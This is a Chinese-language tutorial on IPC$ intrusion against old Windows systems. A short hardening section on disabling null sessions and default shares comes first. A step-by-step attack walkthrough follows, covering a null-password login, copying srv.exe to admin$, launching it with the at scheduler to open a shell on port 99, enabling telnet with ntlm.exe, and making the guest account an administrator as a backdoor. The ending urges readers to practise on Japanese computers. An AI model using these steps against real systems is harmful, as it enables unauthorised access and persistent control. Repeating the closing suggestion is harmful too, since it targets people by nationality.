ipc$入侵教程终结版

?如何防范ipc$入侵

　　1禁止空连接进行枚举(此操作并不能阻止空连接的建立，引自《解剖win2000下的空会话》)

　　首先运行regedit，找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话，有一些问题会发生，比如一些WIN的服务出现问题等等)

　　2禁止默认共享

　　1)察看本地共享资源

　　运行-cmd-输入net share

　　2)删除共享(每次输入一个)

　　net share ipc$ /delete

　　net share admin$ /delete

　　net share c$ /delete

　　net share d$ /delete(如果有e，f，……可以继续删除)

　　3)停止server服务

　　net stop server /y (重新启动后server服务会重新开启)

　　4)修改注册表

　　运行-regedit

　　server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。

　　pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。

　　如果上面所说的主键不存在，就新建(右击-新建-双字节值)一个主健再改键值。

　　3关闭ipc$和默认共享依赖的服务:lanmanserver即server服务

　　控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

　　4安装防火墙(选中相关设置)，或者端口过滤(滤掉139，445等)，或者用新版本的优化大师

　　5设置复杂密码，防止通过ipc$穷举密码　八 相关命令

　　1)建立空连接:

　　net use \\IP\ipc$ "" /user:""????(一定要注意:这一行命令中包含了3个空格)

　　2)建立非空连接:

　　net use \\IP\ipc$ "用户名" /user:"密码"?? (同样有3个空格)

　　3)映射默认共享:

　　net use z: \\IP\c$ "密码" /user:"用户名"??? (即可将对方的c盘映射为自己的z盘，其他盘类推)

　　如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问，具体命令 net use z: \\IP\c$

　　4)删除一个ipc$连接

　　net use \\IP\ipc$ /del

　　5)删除共享映射

　　net use c: /del 删除映射的c盘，其他盘类推

　　net use * /del 删除全部，会有提示要求按y确认

　　九 经典入侵模式

　　这个入侵模式太经典了，大部分ipc教程都有介绍，我也就拿过来引用了，在此感谢原创作者!(不知道是哪位前辈)

　　1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"

　　这是用《流光》扫到的用户名是administrators，密码为"空"的IP地址(空口令?哇，运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为"空"，所以diyi个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。

　　2. C:\>copy srv.exe \\127.0.0.1\admin$

　　先复制srv.exe上去，在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了)。

　　3. C:\>net time \\127.0.0.1

　　查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。

　　4. C:\>at \\127.0.0.1 11:05 srv.exe

　　用at命令启动srv.exe吧(这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵!)

　　5. C:\>net time \\127.0.0.1

　　再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。

　　6. C:\>telnet 127.0.0.1 99

　　这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。

　　虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

　　7.C:\>copy ntlm.exe \\127.0.0.1\admin$

　　用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。

　　8. C:\WINNT\system32>ntlm

　　输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

　　9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧，哈哈)

　　为了以防万一，我们再把guest激活加到管理组??

　　10. C:\>net user guest /active:yes

　　将对方的Guest用户激活

　　11. C:\>net user guest 1234

　　将Guest的密码改为1234，或者你要设定的密码

　　12. C:\>net localgroup administrators guest /add

　　将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机)

　　十 总结:

　　关于ipc入侵就说这么多了，觉得已经够详细了，如果有不准确的地方，希望能与大家讨论.

　　Z后，希望大家不要随便入侵，我写这篇文章的目的是想解答大家的疑惑，并不是鼓励大家随便的入侵，如果你非想试一下，建议拿小日本的机子开练(什么?为什么?因为我讨厌日本，没别的)